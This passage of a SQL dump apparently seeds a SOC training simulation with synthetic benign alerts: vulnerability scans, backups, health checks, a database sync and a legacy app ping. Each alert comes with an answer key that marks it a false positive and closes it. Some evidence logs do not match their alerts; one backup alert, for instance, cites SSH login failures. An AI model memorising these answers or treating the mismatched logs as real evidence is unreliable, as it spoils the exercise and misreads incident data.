ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.319Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"scan_user\\\",\\\"hostname\\\":\\\"vuln-scan-server\\\",\\\"request_body\\\":\\\"Multiple login attempts detected\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1802, 'Benign Network Monitoring Misidentified as Phishing Attempt', 'low', 'Splunk', 'Network monitoring packets were mistakenly flagged as a phishing attempt due to heuristic matching of packet metadata.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:25:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.50\",\"dst_ip\":\"10.0.0.60\",\"username\":\"net_monitor\",\"hostname\":\"monitor-server\",\"request_body\":\"Routine network monitoring packet\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"IP address of network monitoring tool.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.60\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Destination IP for network monitoring packets.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The flagged activity is consistent with normal network monitoring operations.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.321Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T16:25:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.0.50\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"net_monitor\\\",\\\"hostname\\\":\\\"monitor-server\\\",\\\"request_body\\\":\\\"Routine network monitoring packet\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1803, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A vulnerability scan was detected originating from an internal IT system. This activity is part of scheduled security assessments.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.5\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin_scan\",\"hostname\":\"IT-SCAN-01\",\"command_line\":\"nmap -sV 192.168.1.0/24\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_scan\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Authorized scanning account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This alert was generated by routine IT security scans and poses no threat.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.322Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.0.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin_scan\\\",\\\"hostname\\\":\\\"IT-SCAN-01\\\",\\\"command_line\\\":\\\"nmap -sV 192.168.1.0/24\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1804, 'Authorized Administrative Backup Process Detected', 'low', 'Wazuh', 'A backup process executed by an IT administrator was detected. This is a regular operation for data protection.', 'Persistence', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"username\":\"backup_admin\",\"hostname\":\"BACKUP-SERVER-01\",\"command_line\":\"rsync -avz /data /backup\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for backup operations\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data /backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Scheduled backup command executed by an authorized user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"persistence\",\"analysis_notes\":\"The detected process is a part of the scheduled backup routine and is not malicious.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.323Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"BACKUP-SERVER-01\\\",\\\"command_line\\\":\\\"rsync -avz /data /backup\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1805, 'Benign System Health Check Activity', 'low', 'Elastic SIEM', 'Regular system health check scripts executed on multiple servers. These scripts are part of routine maintenance.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.20\",\"username\":\"health_check\",\"hostname\":\"MONITOR-01\",\"command_line\":\"python health_check.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python health_check.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine health check script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"This activity is part of regular system checks and does not indicate an attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"health_check\\\",\\\"hostname\\\":\\\"MONITOR-01\\\",\\\"command_line\\\":\\\"python health_check.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1806, 'Misconfigured Legacy Application Detected', 'medium', 'Azure Sentinel', 'A legacy application generated unusual traffic patterns due to misconfiguration. No malicious activity detected.', 'Network Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"203.0.113.10\",\"hostname\":\"LEGACY-APP-01\",\"command_line\":\"curl http://203.0.113.10:8080/api/ping\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"External IP with no malicious reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The traffic was generated by a misconfigured legacy application and is not harmful.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.326Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"hostname\\\":\\\"LEGACY-APP-01\\\",\\\"command_line\\\":\\\"curl http://203.0.113.10:8080/api/ping\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1807, 'Scheduled Data Sync Detected', 'low', 'Splunk', 'A data synchronization task was detected between internal databases. This is part of regular data management operations.', 'Data Transfer', 'T1029', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:05:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.20\",\"username\":\"db_sync_user\",\"hostname\":\"DB-SYNC-01\",\"command_line\":\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP used for data synchronization\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized database synchronization command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"This alert was generated by a scheduled data synchronization task and is not indicative of an attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.328Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:05:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"db_sync_user\\\",\\\"hostname\\\":\\\"DB-SYNC-01\\\",\\\"command_line\\\":\\\"pg_dump -h 10.0.0.20 -U db_sync_user -d production_db > backup.sql\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1808, 'Routine IT Vulnerability Scanning Detected as Brute Force Attack', 'low', 'Wazuh', 'A series of failed login attempts were detected originating from an internal scanner IP. This activity was identified as part of a routine vulnerability scan.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"internal-scanner\",\"failed_attempts\":20}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine vulnerability 